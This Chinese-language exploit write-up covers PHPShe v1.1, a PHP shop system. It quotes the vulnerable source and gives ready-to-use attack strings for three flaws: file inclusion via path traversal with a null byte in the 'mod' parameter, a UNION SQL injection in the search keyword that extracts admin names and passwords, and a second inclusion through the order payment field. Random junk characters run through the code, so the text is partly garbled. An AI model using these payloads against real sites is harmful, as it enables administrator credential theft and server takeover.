phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
; h! O0 [7 S# b8 G- K$ Q/ I+ O  i; z/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
3 _% b2 d' H3 o; v9 ~/*******************************************************/
0×00 整体大概参数传输

2 y1 F4 ]1 E9 ]6 U

+ Z4 B0 U9 j" B% x; b//common.php
. F6 B7 Q: a4 c8 Y  I: [if (get_magic_quotes_gpc()) {
& E1 @7 a' G+ j: I!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# M' ~: A/ ^# ?; v6 o!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, t/ {2 `8 Z3 m- d: F. g, \}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

1 M2 _) V# p8 F+ L/ {0×01 包含漏洞
* d4 j& Q5 T  O, x
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//首页文件
* Y/ Y  h; \7 J) b; h<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
; d% }5 i' {* Q+ D: W; O- Binclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' i  i: J# u/ c: e' ~8 ope_result();
& B- E1 K. k% \?>
7 }9 G' m4 y  E! H2 p4 Z//common 文件 第15行开始
/ A. y: I8 ^9 B; E2 y9 N& D, T# @url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: X# a7 U7 ?- m! {$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
9 j, Q/ Q! Y# ]3 s- E4 c//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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/ g! G3 c3 }' Y3 q" E  y8 L0 A<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
4 X0 y" `, N# C8 l+ s; g. k$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
4 |0 P+ d& |6 e7 C0 q& x}
( q* C! I  @- y$ O! i$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
7 _- h  X, G/ }. p$ M- }$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
3 g, E  z( ~7 j. \}
5 c& Q: u2 t! Welse {
3 \# @( G% ~4 _4 H- U9 D0 m' |$sqlwhere .= " order by `product_id` desc";
/ q4 G3 y; Z3 K}
4 x' q9 x- g# }7 d$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
+ j3 Y7 E6 x3 o//热卖排行
& Y- q2 `9 _; _# }$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
" b1 J5 ]! ^7 n+ binclude(pe_tpl('product_list.html'));
//跟进selectall函数库
7 m3 I0 ?; B! q, {5 ?: hpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( b# `3 P+ U# A}
//exp
* E2 i8 e5 D3 M% nproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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2 P' }, W. ~1 |/ X0 Y0 \" A, z! i1 d0×03 包含漏洞2
: ~) K. u4 y0 C8 K: X. W+ M
5 v! a# A2 u! j8 W2 ^* N# ?, U9 ?<code id="code3">

//order.php

case 'pay':

; j$ t& d- {& \4 e0 U# q$order_id = pe_dbhold($_g_id);

, X% x- |5 s' I# e6 l$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

+ U$ j4 E2 y- K: Uif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

$ ~% J4 j. Z& l4 i0 g7 T0 R/ F3 w" p}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 o; I( L/ Q3 z) R!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

" B5 E; j' g. n3 r- eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

- e) \+ M4 Q5 p# G: ?1 Kforeach ($info_list as $v) {

" Q, U3 o. B9 @0 u) Q$order['order_name'] .= "{$v['product_name']};";

}

4 f* t. s6 `, U8 R2 r: fecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& ]/ k  I* [2 Y" u$ _$ [1 }7 c}//当一切准备好的时候就可以进行"鸡肋包含了"

  N7 d' D' Q  D  b. Eelse {

) h% }/ P. N" M% Rpe_error('支付错误...');

}

, a1 m( I! X4 k1 }}

4 ?& `9 G8 M# G3 V7 |$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

- ]" V8 Z- n/ n, ]break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>